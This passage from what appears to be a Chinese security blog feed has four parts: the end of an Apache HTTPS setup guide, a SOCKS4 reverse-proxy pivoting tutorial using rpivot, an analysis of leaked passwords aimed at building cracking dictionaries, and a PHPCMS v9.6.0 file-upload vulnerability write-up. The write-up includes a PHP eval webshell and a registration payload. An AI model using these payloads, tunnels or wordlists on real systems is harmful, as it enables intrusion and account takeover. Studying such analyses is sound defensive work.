sudo mkdir cert
</code></pre><p>启用 Apache 的 SSL 模块:</p>
<pre><code>sudo a2enmod ssl
</code></pre><p>再配置服务器域名绑定:</p>
<pre><code>sudo cp /etc/apache2/sites-enabled/x.evilclay.com /etc/apache2/sites-enabled/x.evilclay.com_ssl
sudo vim x.evilclay.com_ssl
</code></pre><p>在<virtualhost *:80="">段中,DocumentRoot一行的下方加入内容:</virtualhost></p>
<pre><code># 添加 SSL 协议支持协议,去掉不安全的协议
SSLProtocol TLSv1 TLSv1.1 TLSv1.2
# 修改加密套件如下
SSLCipherSuite ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4
# 证书公钥配置
SSLCertificateFile /etc/apache2/cert/public.pem
# 证书私钥配置
SSLCertificateKeyFile /etc/apache2/cert/214144412790737.key
# 证书链配置,如果该属性开头有 '#'字符,请删除掉
SSLCertificateChainFile /etc/apache2/cert/chain.pem
</code></pre><p>端口修改为:443,即<virtualhost *:443="">(ssl的端口)</virtualhost></p>
<p> 重启 Apache2, 访问 <a href="https://x.evilclay.com/hello.txt" target="_blank" rel="external">https://x.evilclay.com/hello.txt</a> 再次进行测试:</p>
<p> <img src="http://7xku36.com1.z0.glb.clouddn.com/https/https_ok.png" alt=""></p>
<p> 至此,从新建虚拟主机到配置HTTPS证书已经完成。</p>
<h2 id="HTTP请求重定向HTTPS"><a href="#HTTP请求重定向HTTPS" class="headerlink" title="HTTP请求重定向HTTPS"></a>HTTP请求重定向HTTPS</h2><p>在配置文件里对 80 端口的流量做一个重定向即可:</p>
<pre><code>vim /etc/apache2/sites-available/x.evilclay.com.conf
//在<VirtualHost *:80></VirtualHost> 标签内加入下面一行
Redirect permanent / https://x.evilclay.com/
</code></pre><p>今后访问 <a href="http://x.evilclay.com" target="_blank" rel="external">http://x.evilclay.com</a> 会自动跳转到 <a href="https://x.evilclay.com/,确保所有网站流量走" target="_blank" rel="external">https://x.evilclay.com/,确保所有网站流量走</a> HTTPS 通讯。</p>
<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ol>
<li><a href="https://yundun.console.aliyun.com/" target="_blank" rel="external">https://yundun.console.aliyun.com/</a></li>
<li><a href="https://ninghao.net/blog/4449" target="_blank" rel="external">https://ninghao.net/blog/4449</a></li>
<li><a href="http://blog.csdn.net/trh0123/article/details/70932448" target="_blank" rel="external">http://blog.csdn.net/trh0123/article/details/70932448</a></li>
<li><a href="https://www.howtoing.com/apache-redirect-http-to-https/" target="_blank" rel="external">https://www.howtoing.com/apache-redirect-http-to-https/</a></li>
</ol>
]]></content>
<summary type="html">
<h2 id="系统环境"><a href="#系统环境" class="headerlink" title="系统环境"></a>系统环境</h2><pre><code>Ubuntu 16.04
Apache2
</code></pre><h2 id="设置域名A记录"><a
</summary>
<category term="HTTPS" scheme="http://www.evilclay.com/tags/HTTPS/"/>
</entry>
<entry>
<title>SOCKS4反向代理实验</title>
<link href="http://www.evilclay.com/2017/06/11/SOCKS4%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E5%AE%9E%E9%AA%8C/"/>
<id>http://www.evilclay.com/2017/06/11/SOCKS4反向代理实验/</id>
<published>2017-06-11T14:17:30.000Z</published>
<updated>2017-06-11T14:20:02.465Z</updated>
<content type="html"><![CDATA[<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>SOCKS4 反向代理是 先在 服务器A (比如攻击机) 上运行 SOCKS4 代理的 服务端程序监听指定端口,然后 在客户机(比如靶机)上运行 客户端程序连接服务器的指定端口。</p>
<p>这样就建立了一条 从 靶机 到攻击机的反向 SOCKS 隧道,攻击机的应用程序(比如 wget nmap curl …)使用该隧道后,程序的所有流量都会先经过靶机转发出去。</p>
<p>接着大家说说相关名词的概念 :P</p>
<p>SOCKS代理:是一种网络协议,主要用于客户端和服务器的中间通讯(并不是我们说的socket套接字)。SOCKS代理工作在比HTTP代理更低的层次,HTTP代理只是将HTTP请求转发到目标HTTP服务器。SOCKS代理可以转发UDP流量和反向代理,HTTP代理不能。</p>
<p>SOCKS代理目前常用 SOCKS4 代理和 SOCKS5 代理两种版本,SOCKS4 只支持 TCP 代理, SOCK5 还支持 UDP代理, 验证 以及 IPv6. [1]</p>
<p>proxychains: Linux下 强制应用程序 使用 Tor, SOCKS4/5代理, HTTP(S) 代理的一款工具。</p>
<p>下面,以 GitHub 上的 <a href="https://github.com/artkond/rpivot" target="_blank" rel="external">https://github.com/artkond/rpivot</a> [2] 项目演示 使用 SOCKS4 反向代理。</p>
<h2 id="服务器监听"><a href="#服务器监听" class="headerlink" title="服务器监听"></a>服务器监听</h2><p>下载 <a href="https://github.com/artkond/rpivot" target="_blank" rel="external">https://github.com/artkond/rpivot</a> 并解压。</p>
<p>运行 server.py 监听本地外网9999端口:</p>
<pre><code>python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
</code></pre><h2 id="客户机连接"><a href="#客户机连接" class="headerlink" title="客户机连接"></a>客户机连接</h2><p>下载 <a href="https://github.com/artkond/rpivot" target="_blank" rel="external">https://github.com/artkond/rpivot</a> 并解压。</p>
<p>运行 client.py 连接服务器的 9999 端口:</p>
<pre><code>python client.py --server-ip <rpivot_server_ip> --server-port 9999
</code></pre><h2 id="服务器使用代理"><a href="#服务器使用代理" class="headerlink" title="服务器使用代理"></a>服务器使用代理</h2><p>先下载 proxychains 工具:</p>
<pre><code>apt get install proxychains
</code></pre><p>修改配置文件,设置 SOCKS4 代理:</p>
<pre><code>vim /etc/proxychains.conf
// 添加 socks4 代理
[ProxyList]
socks4 127.0.0.1 1080
</code></pre><p>现在使用 curl 命令不使用 代理请求 ip.cn:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/socks4/socks4_no.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>对 curl 使用代理后访问 ip.cn:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/socks4/socks4_yes.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ol>
<li><a href="https://zh.wikipedia.org/wiki/SOCKS" target="_blank" rel="external">https://zh.wikipedia.org/wiki/SOCKS</a></li>
<li><a href="https://github.com/artkond/rpivot" target="_blank" rel="external">https://github.com/artkond/rpivot</a></li>
</ol>
]]></content>
<summary type="html">
<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>SOCKS4 反向代理是 先在 服务器A (比如攻击机) 上运行 SOCKS4 代理的 服务端程序监听指定端口,然后 在客户机(比如靶机)上
</summary>
<category term="反向代理" scheme="http://www.evilclay.com/tags/%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86/"/>
<category term="SOCKS4" scheme="http://www.evilclay.com/tags/SOCKS4/"/>
</entry>
<entry>
<title>1.5W条密码样本分析</title>
<link href="http://www.evilclay.com/2017/06/03/1-5W%E6%9D%A1%E5%AF%86%E7%A0%81%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/"/>
<id>http://www.evilclay.com/2017/06/03/1-5W条密码样本分析/</id>
<published>2017-06-02T17:17:25.000Z</published>
<updated>2017-06-02T17:24:00.679Z</updated>
<content type="html"><![CDATA[<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>之前对某公开的一段密码库做的一个分析,目的是想得到大家的密码组合规律,无奈一直没用上,在笔记里备份下,以后想针对姓名做组合字典的时候再回头看看。</p>
<p>直接贴出当时的分析结果啦~(≧▽≦)/~</p>
<h2 id="组合规律"><a href="#组合规律" class="headerlink" title="组合规律"></a>组合规律</h2><pre><code>姓 + 6位数字
8位生日 + 两个字母
一位字母+123456
姓名首字母+123
名拼音+520
姓拼音+6位生日
123456+姓名首字母
姓名首字母+6位数字
姓名+000
a+QQ号
小名(名连读)+1111
姓+123
姓名首字母+4位生日年份
4位生日年份+名拼音
名拼音+6位生日
6位数字+姓名首字母
姓名+4位数字
姓拼音+生日年份
姓名首字母+4位生日月份天数
姓首字母+6位数字
姓名首字母+1234
6位生日(月份+1)+名拼音
qwerty+6538
姓名首字母+6位生日
姓名首字母+4位数字
姓名首字母+123456
对象姓名首字母+6位生日
123456+姓
名+4位数字
姓名首字母+4位年份+2随机数字
姓+123123
名+4位年份
姓首字母+2位月份+4位年份
姓+年份最后2位
姓名首字母+4位年份+
1位月份(生日-1)+1位天数
姓名首字母+4位年份+2位月份
6位对象生日+姓名首字母
姓首字母+名+生日年份
对象首字母+520
2个字母+123321
对象首字母+8位生日
对象首字母+520520
520+对象首字母
姓+258369
</code></pre><h2 id="TOP-20"><a href="#TOP-20" class="headerlink" title="TOP 20"></a>TOP 20</h2><pre><code>a123456
qwe123456
qwe123
asd123456
123456a
qq123456
asd123
qwer1234
123456AA
aaa123456
a123123
qaz123
aa123456
123123aa
abcd1234
a123456789
a112233
woaini1314
123QWE
qwe123123
</code></pre><h2 id="TOP-50"><a href="#TOP-50" class="headerlink" title="TOP 50"></a>TOP 50</h2><pre><code>a123456
qwe123456
qwe123
asd123456
123456a
qq123456
asd123
qwer1234
123456AA
aaa123456
a123123
qaz123
aa123456
123123aa
abcd1234
a123456789
a112233
woaini1314
123QWE
qwe123123
aa123123
q123456
y123456
qaz123456
z123456
aini1314
a1234567
w123456
woaini520
1234qwer
qq112233
zj5201314
abc123456
qq111111
a2329765
love1314
a111111
a147258
woaini123
123123a
a123456a
wu123456
asdf1234
qqq111
zxcvbnm123
ll123456
123456asd
li123456
123456z
a12345
</code></pre><h2 id="TOP-100"><a href="#TOP-100" class="headerlink" title="TOP 100"></a>TOP 100</h2><pre><code>a123456
qwe123456
qwe123
asd123456
123456a
qq123456
asd123
qwer1234
123456AA
aaa123456
a123123
qaz123
aa123456
123123aa
abcd1234
a123456789
a112233
woaini1314
123QWE
qwe123123
aa123123
q123456
y123456
qaz123456
z123456
aini1314
a1234567
w123456
woaini520
1234qwer
qq112233
zj5201314
abc123456
qq111111
a2329765
love1314
a111111
a147258
woaini123
123123a
a123456a
wu123456
asdf1234
zxcvbnm123
ll123456
123456asd
li123456
123456z
a12345
aa000000
aaa123123
qq123123
qqq111
a5201314
zhang123
aaa123789
a1314520
yang1314
zxc123456
liushu123
zhang520
qweqwe123
zx123456
li5201314
aaa111
xiao520
xiang520
w123456789
liu6577453
zhang1314
wang12345
zhong123
ws640805
hh124124
nn23456
x891104
c123456
qwe12345
159951a
z520520
hai520
qqww1122
qwe112233
1995312w
b123456
bb5201314
qqq123
qwe123355
zy584520
mima123
cwt123456
zhuzhu520
pmwdea58
peng1989
LMJ831023
chm420924
123456qq
123qaz
woaini8023
zhou123
</code></pre>]]></content>
<summary type="html">
<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>之前对某公开的一段密码库做的一个分析,目的是想得到大家的密码组合规律,无奈一直没用上,在笔记里备份下,以后想针对姓名做组合字典的时候再回头看
</summary>
<category term="密码规律" scheme="http://www.evilclay.com/tags/%E5%AF%86%E7%A0%81%E8%A7%84%E5%BE%8B/"/>
</entry>
<entry>
<title>PHPCMSv9.6.0任意文件上传漏洞分析</title>
<link href="http://www.evilclay.com/2017/05/10/PHPCMSv9-6-0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<id>http://www.evilclay.com/2017/05/10/PHPCMSv9-6-0任意文件上传漏洞分析/</id>
<published>2017-05-09T18:57:49.000Z</published>
<updated>2017-05-09T19:07:45.196Z</updated>
<content type="html"><![CDATA[<h2 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>本次漏洞产生的原因是因为PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的效验导致可以下载PHP脚本,同时下载之后的文件名可以使用暴力破解的方式或者是数据库插入报错的形式获得,所以把预先准备好的一句话木马下载到服务器上,最后使用客户端连接拿到shell。</p>
<h2 id="漏洞点"><a href="#漏洞点" class="headerlink" title="漏洞点"></a>漏洞点</h2><p>漏洞存在于 \phpcmsv9.6.0\phpcms\libs\classes\attachment.class.php 的 download 函数,这是一个附件下载的函数:</p>
<pre><code>/**
* 附件下载
* Enter description here ...
* @param $field 预留字段
* @param $value 传入下载内容
* @param $watermark 是否加入水印
* @param $ext 下载扩展名
* @param $absurl 绝对路径
* @param $basehref
*/
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
</code></pre><p>待下载的附件$value 首先经过 new_stripslashes 处理:</p>
<pre><code>/**
* 返回经stripslashes处理过的字符串或数组
* @param $string 需要处理的字符串或数组
* @return mixed
*/
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
</code></pre><p>这一步是删除由 addslashes() 函数添加的反斜杠 的字符串或数组。</p>
<p>然后对下载地址进行一次正则匹配:</p>
<pre><code>preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)
</code></pre><p>由于 $ext = ‘gif|jpg|jpeg|bmp|png’ 所以这里可以匹配的URL只需要满足 类似 src=”<a href="http://xxx/xxx.jpg" target="_blank" rel="external">http://xxx/xxx.jpg</a>“ 的形式即可。</p>
<p>经过正则匹配后 $matches[3] 的每个元素链接了 <a href="http://xxx/xxx.jpg" target="_blank" rel="external">http://xxx/xxx.jpg</a> 的形式,在这里可以说对后缀名进行了一次验证,但这种验证的方式有问题,</p>
<p>由于没有考虑到 URL 中的 ? 和 # 的特殊性,所以这里验证的文件后缀名并不是真正的文件后缀。</p>
<p>比如,一个 百度的地址是 <a href="https://www.baidu.com/index.php," target="_blank" rel="external">https://www.baidu.com/index.php,</a> 使用 <a href="https://www.baidu.com/index.php?1.jpg" target="_blank" rel="external">https://www.baidu.com/index.php?1.jpg</a> 或者 <a href="https://www.baidu.com/index.php#1.jpg" target="_blank" rel="external">https://www.baidu.com/index.php#1.jpg</a> 都可以访问。</p>
<p>接着进入对 URL 进行补全的逻辑代码:</p>
<pre><code>$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
</code></pre><p>重点是 fillurl 函数的这段代码:</p>
<pre><code>$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
</code></pre><p>直接把url中包含 # 符号及之后的字符串全部都清掉。配合之前的正则匹配成功的bypass了一次图片后缀名验证。</p>
<p>比如我们的 URL 地址设置为: <a href="http://www.foo.com/1.txt?1.php#1.jpg" target="_blank" rel="external">http://www.foo.com/1.txt?1.php#1.jpg</a></p>
<p>去掉 # 之后就是 <a href="http://www.foo.com/1.txt?1.php" target="_blank" rel="external">http://www.foo.com/1.txt?1.php</a></p>
<p>在 fillurl 中后面就是无关紧要的 return 操作了,我们继续。</p>
<p>下面有一次获取文件后缀名和生成文件名的操作。</p>
<pre><code>$filename = fileext($file);
$filename = $this->getname($filename);
</code></pre><p>我们追踪 fileext函数:</p>
<pre><code>function fileext($filename) {
return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
}
</code></pre><p>strrchr 查找字符串在 另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。</p>
<p>也就是说此时 URL(<a href="http://www.foo.com/1.txt?1.php)" target="_blank" rel="external">http://www.foo.com/1.txt?1.php)</a> 的文件后缀名已经是 php 了。</p>
<p>追踪 getname 函数,可见最终生成的文件名是 “年月日时分秒+三位随机数字+ ‘.’ + 文件扩展名(php)”。</p>
<pre><code>function getname($fileext){
return date('Ymdhis').rand(100, 999).'.'.$fileext;
}
</code></pre><p>最后 使用 upload_func 函数对 <a href="http://www.foo.com/1.txt?1.php" target="_blank" rel="external">http://www.foo.com/1.txt?1.php</a> 处理,</p>
<p>通过 $this->upload_func = ‘copy’; 可以得到 upload_func 实际上就是 PHP 自带的 copy 下载函数。</p>
<p>至此 已经在服务器上成功上传了可以获知文件位置的一句话木马。</p>
<p>其实远程URL的地址也可以使用 <a href="http://www.foo.com/1.php#1.jpg" target="_blank" rel="external">http://www.foo.com/1.php#1.jpg</a> 的形式,只要保证直接访问 1.php 文件能输入 一句话木马代码就行,</p>
<p>比如 1.php 的 代码如下:</p>
<pre><code><?php
echo '<?php @eval($_POST[a]);?>';
?>
</code></pre><p>burp 抓包上传成功:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/phpcmsv9.6.0/demo3.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>上传的文件内容:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/phpcmsv9.6.0/res.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><p>知道了 download 是漏洞点,所以可以直接搜索有哪些地方调用了 download 函数,只要调用了 download 函数都可能会出现这个问题。</p>
<p>搜索项目发现下面几个文件存在 直接调用:</p>
<pre><code>python find.py -k download(
[-] filename :./caches\caches_model\caches_data\content_input.class.php
[-] filename :./caches\caches_model\caches_data\member_input.class.php
[-] filename :./phpcms\libs\classes\attachment.class.php
[-] filename :./phpcms\modules\collection\classes\collection.class.php
[-] filename :./phpcms\modules\content\down.php
[-] filename :./phpcms\modules\content\fields\editor\input.inc.php
[-] filename :./phpcms\modules\formguide\fields\editor\input.inc.php
[-] filename :./phpcms\modules\member\fields\editor\input.inc.php
</code></pre><p>打开 content_input.class.php 发现是在editor进行的调用:</p>
<pre><code>function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
if(isset($_POST['spider_img'])) $enablesaveimage = 0;
if($enablesaveimage) {
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
}
return $value;
}
</code></pre><p>所以调用 editor 函数的地方也会出现这个问题,当然可以直接静态搜索”editor(“得到调用他的函数,结果发现很多调用。</p>
<pre><code>python find.py -k editor(
[-] filename :./caches\caches_model\caches_data\content_form.class.php
[-] filename :./caches\caches_model\caches_data\content_input.class.php
[-] filename :./caches\caches_model\caches_data\content_output.class.php
......
</code></pre><p>有时间的话可以一个个的往前溯源,一直溯源到用户可以控制的参数为止。</p>
<p>在这里根据先前提供的PoC直接看用户注册相关代码:</p>
<p>\phpcmsv9.6.0\phpcms\modules\member\index.php 的 register 函数</p>
<pre><code>//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
</code></pre><p>最后一行调用了 \phpcmsv9.6.0\caches\caches_model\caches_data\member_input.class.php 的 get () 函数</p>
<p>get 函数包含:</p>
<pre><code>$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
</code></pre><p>先看一下 $this->fields 的定义:</p>
<pre><code>$this->fields = getcache('model_field_'.$modelid,'model');
</code></pre><p>需要从缓存的模型里获得 fields 字段,一共有 5 个 模型文件;</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/phpcmsv9.6.0/models.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>只要从中有一个可以 $this->fields[$field][‘formtype’] 的结果是 editor 就可以。</p>
<p>model_field_11.cache 是可以的,需要把info数组设置成 content 索引,也就是我们的payload 中 包含:</p>
<pre><code>modelid=11&info[content]=<img href=http://localhost/cms/phpcmsv9.6.0/2.php#.jpg>
</code></pre><p>或者下面这些 payload 都是可以的。</p>
<pre><code>modelid=1&info[content]=<img href=http://localhost/cms/phpcmsv9.6.0/2.php#.jpg>
modelid=2&info[content]=<img href=http://localhost/cms/phpcmsv9.6.0/2.php#.jpg>
modelid=3&info[content]=<img href=http://localhost/cms/phpcmsv9.6.0/2.php#.jpg>
</code></pre><p>当 $this->fields[$field][‘formtype’] 的值是 editor 后,可以看到 editor 函数调用了 attachment.class.php 的download 函数,所以注册存在任意文件上传漏洞。</p>
<pre><code>function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
</code></pre><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/phpcmsv9.6.0/demo1.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>或者</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/phpcmsv9.6.0/demo2.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<h2 id="修复"><a href="#修复" class="headerlink" title="修复"></a>修复</h2><p>说说几种修复的方案:</p>
<pre><code>1. 对最后生成的文件名的后缀进行一次白名单过滤。( v9.6.1更新官方做法 )
2. 干掉上传文件路径的可执行权限。(不建议,配合文件包含漏洞会GG)
3. 增加文件重命名的随机字符长度。(也不建议,需要确保上传的图片用户不能访问)
</code></pre><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这个漏洞点是文件下载点触发的,当然以后可能是上传点,与数据库交互的参数,用户控制的参数 …<br>想到一点,关于使用关键字搜索函数调用这种审计方法有点low啊,这篇文章中的最后用到的是动态调用 editor 函数的方法找到的关联。<br>所以静态分析进行不下去了,多看看代码的逻辑关系,毕竟代码越多,漏洞越多嘛。<br>最后,这是我的第一篇 PHP 的代码审计文章,参考了一些大牛的分析文章,感谢~<br>希望自己有机会多写写,漏洞再多,选择自己感兴趣的分析分析。</p>
<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="http://paper.seebug.org/273/" target="_blank" rel="external">http://paper.seebug.org/273/</a></p>
<p>还有一位DALAO的文档 :P</p>
]]></content>
<summary type="html">
<h2 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>本次漏洞产生的原因是因为PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的效验导致可以下载PHP脚本,同时下载之
</summary>
<category term="PHPCMS" scheme="http://www.evilclay.com/tags/PHPCMS/"/>
<category term="代码审计" scheme="http://www.evilclay.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<category term="任意文件上传" scheme="http://www.evilclay.com/tags/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/"/>
</entry>